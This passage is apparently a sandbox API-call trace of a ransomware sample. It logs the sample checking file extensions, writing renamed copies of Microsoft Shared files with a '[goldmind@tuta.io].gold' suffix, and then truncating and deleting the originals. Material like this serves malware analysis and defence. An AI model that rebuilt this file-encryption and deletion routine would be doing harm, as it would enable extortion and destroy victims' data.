lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0046.954] lstrlenW (lpString=".xls") returned 4 [0046.954] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0046.954] lstrlenW (lpString=".xlsx") returned 5 [0046.954] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0046.954] lstrlenW (lpString=".ppt") returned 4 [0046.954] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0046.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.954] lstrlenW (lpString=".zip") returned 4 [0046.954] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0046.954] lstrlenW (lpString=".rar") returned 4 [0046.954] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0046.954] lstrlenW (lpString=".bz2") returned 4 [0046.954] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0046.954] lstrlenW (lpString=".7z") returned 3 [0046.954] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0046.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.954] lstrlenW (lpString=".dbf") returned 4 [0046.954] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0046.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.954] lstrlenW (lpString=".1cd") returned 4 [0046.954] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0046.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0046.954] lstrlenW (lpString=".jpg") returned 4 [0046.954] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0046.954] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0046.954] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0046.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.955] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=6811) returned 1 [0046.955] CloseHandle (hObject=0x178) returned 1 [0046.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0046.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.955] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.955] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0046.955] GetLastError () returned 0x0 [0046.955] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0046.956] WriteFile (in: hFile=0x18c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0046.957] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0046.957] WriteFile (in: hFile=0x18c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.957] SetEndOfFile (hFile=0x18c) returned 1 [0046.957] CloseHandle (hObject=0x18c) returned 1 [0046.958] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.958] SetEndOfFile (hFile=0x178) returned 1 [0046.958] CloseHandle (hObject=0x178) returned 1 [0046.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.959] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.959] lstrlenW (lpString=".doc") returned 4 [0046.959] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0046.959] lstrlenW (lpString=".docx") returned 5 [0046.959] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0046.959] lstrlenW (lpString=".pdf") returned 4 [0046.959] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0046.959] lstrlenW (lpString=".xls") returned 4 [0046.959] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0046.959] lstrlenW (lpString=".xlsx") returned 5 [0046.959] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0046.959] lstrlenW (lpString=".ppt") returned 4 [0046.959] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.959] lstrlenW (lpString=".zip") returned 4 [0046.959] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0046.959] lstrlenW (lpString=".rar") returned 4 [0046.959] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0046.959] lstrlenW (lpString=".bz2") returned 4 [0046.959] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0046.959] lstrlenW (lpString=".7z") returned 3 [0046.959] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.959] lstrlenW (lpString=".dbf") returned 4 [0046.959] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.959] lstrlenW (lpString=".1cd") returned 4 [0046.959] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.959] lstrlenW (lpString=".jpg") returned 4 [0046.959] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.959] lstrlenW (lpString=".doc") returned 4 [0046.959] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0046.960] lstrlenW (lpString=".docx") returned 5 [0046.960] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0046.960] lstrlenW (lpString=".pdf") returned 4 [0046.960] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0046.960] lstrlenW (lpString=".xls") returned 4 [0046.960] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0046.960] lstrlenW (lpString=".xlsx") returned 5 [0046.960] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0046.960] lstrlenW (lpString=".ppt") returned 4 [0046.960] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0046.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.960] lstrlenW (lpString=".zip") returned 4 [0046.960] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0046.960] lstrlenW (lpString=".rar") returned 4 [0046.960] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0046.960] lstrlenW (lpString=".bz2") returned 4 [0046.960] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0046.960] lstrlenW (lpString=".7z") returned 3 [0046.960] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0046.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.960] lstrlenW (lpString=".dbf") returned 4 [0046.960] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0046.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.960] lstrlenW (lpString=".1cd") returned 4 [0046.960] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0046.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0046.960] lstrlenW (lpString=".jpg") returned 4 [0046.960] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0046.960] lstrcmpiW (lpString1=".FLT", lpString2=".gold") returned -1 [0046.960] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0046.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.961] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=323936) returned 1 [0046.961] CloseHandle (hObject=0x178) returned 1 [0046.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0046.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.961] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.961] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0046.962] GetLastError () returned 0x0 [0046.962] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x4f160, lpOverlapped=0x0) returned 1 [0046.968] WriteFile (in: hFile=0x18c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x4f170, lpOverlapped=0x0) returned 1 [0046.973] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0046.973] WriteFile (in: hFile=0x18c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.974] SetEndOfFile (hFile=0x18c) returned 1 [0046.974] CloseHandle (hObject=0x18c) returned 1 [0046.974] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.974] SetEndOfFile (hFile=0x178) returned 1 [0046.976] CloseHandle (hObject=0x178) returned 1 [0046.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.977] lstrlenW (lpString=".doc") returned 4 [0046.977] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0046.977] lstrlenW (lpString=".docx") returned 5 [0046.977] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0046.977] lstrlenW (lpString=".pdf") returned 4 [0046.977] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0046.977] lstrlenW (lpString=".xls") returned 4 [0046.977] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0046.977] lstrlenW (lpString=".xlsx") returned 5 [0046.977] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0046.977] lstrlenW (lpString=".ppt") returned 4 [0046.977] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.977] lstrlenW (lpString=".zip") returned 4 [0046.977] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0046.977] lstrlenW (lpString=".rar") returned 4 [0046.977] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0046.977] lstrlenW (lpString=".bz2") returned 4 [0046.977] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0046.977] lstrlenW (lpString=".7z") returned 3 [0046.977] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.977] lstrlenW (lpString=".dbf") returned 4 [0046.977] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.977] lstrlenW (lpString=".1cd") returned 4 [0046.977] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.977] lstrlenW (lpString=".jpg") returned 4 [0046.977] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.977] lstrlenW (lpString=".doc") returned 4 [0046.977] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0046.977] lstrlenW (lpString=".docx") returned 5 [0046.977] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0046.977] lstrlenW (lpString=".pdf") returned 4 [0046.977] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0046.977] lstrlenW (lpString=".xls") returned 4 [0046.977] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0046.978] lstrlenW (lpString=".xlsx") returned 5 [0046.978] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0046.978] lstrlenW (lpString=".ppt") returned 4 [0046.978] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0046.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.978] lstrlenW (lpString=".zip") returned 4 [0046.978] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0046.978] lstrlenW (lpString=".rar") returned 4 [0046.978] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0046.978] lstrlenW (lpString=".bz2") returned 4 [0046.978] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0046.978] lstrlenW (lpString=".7z") returned 3 [0046.978] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0046.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.978] lstrlenW (lpString=".dbf") returned 4 [0046.978] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0046.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.978] lstrlenW (lpString=".1cd") returned 4 [0046.978] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0046.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0046.978] lstrlenW (lpString=".jpg") returned 4 [0046.978] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0046.978] lstrcmpiW (lpString1=".FNT", lpString2=".gold") returned -1 [0046.978] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0046.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.979] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=606062) returned 1 [0046.979] CloseHandle (hObject=0x178) returned 1 [0046.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0046.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0046.979] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.979] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0046.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0046.980] GetLastError () returned 0x0 [0046.980] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0047.032] WriteFile (in: hFile=0x18c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x93f70, lpOverlapped=0x0) returned 1 [0047.059] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0047.059] WriteFile (in: hFile=0x18c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.060] SetEndOfFile (hFile=0x18c) returned 1 [0047.060] CloseHandle (hObject=0x18c) returned 1 [0047.060] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0047.060] SetEndOfFile (hFile=0x178) returned 1 [0047.064] CloseHandle (hObject=0x178) returned 1 [0047.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.064] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0047.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.064] lstrlenW (lpString=".doc") returned 4 [0047.064] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0047.064] lstrlenW (lpString=".docx") returned 5 [0047.064] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0047.064] lstrlenW (lpString=".pdf") returned 4 [0047.064] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0047.064] lstrlenW (lpString=".xls") returned 4 [0047.064] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0047.064] lstrlenW (lpString=".xlsx") returned 5 [0047.064] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0047.064] lstrlenW (lpString=".ppt") returned 4 [0047.064] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0047.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.065] lstrlenW (lpString=".zip") returned 4 [0047.065] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0047.065] lstrlenW (lpString=".rar") returned 4 [0047.065] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0047.065] lstrlenW (lpString=".bz2") returned 4 [0047.065] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0047.065] lstrlenW (lpString=".7z") returned 3 [0047.065] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0047.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.066] lstrlenW (lpString=".dbf") returned 4 [0047.066] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0047.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.066] lstrlenW (lpString=".1cd") returned 4 [0047.066] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0047.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.066] lstrlenW (lpString=".jpg") returned 4 [0047.066] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0047.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.066] lstrlenW (lpString=".doc") returned 4 [0047.066] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0047.066] lstrlenW (lpString=".docx") returned 5 [0047.066] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0047.067] lstrlenW (lpString=".pdf") returned 4 [0047.067] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0047.067] lstrlenW (lpString=".xls") returned 4 [0047.067] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0047.067] lstrlenW (lpString=".xlsx") returned 5 [0047.068] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0047.068] lstrlenW (lpString=".ppt") returned 4 [0047.068] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0047.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0047.068] lstrlenW (lpString=".zip") returned 4 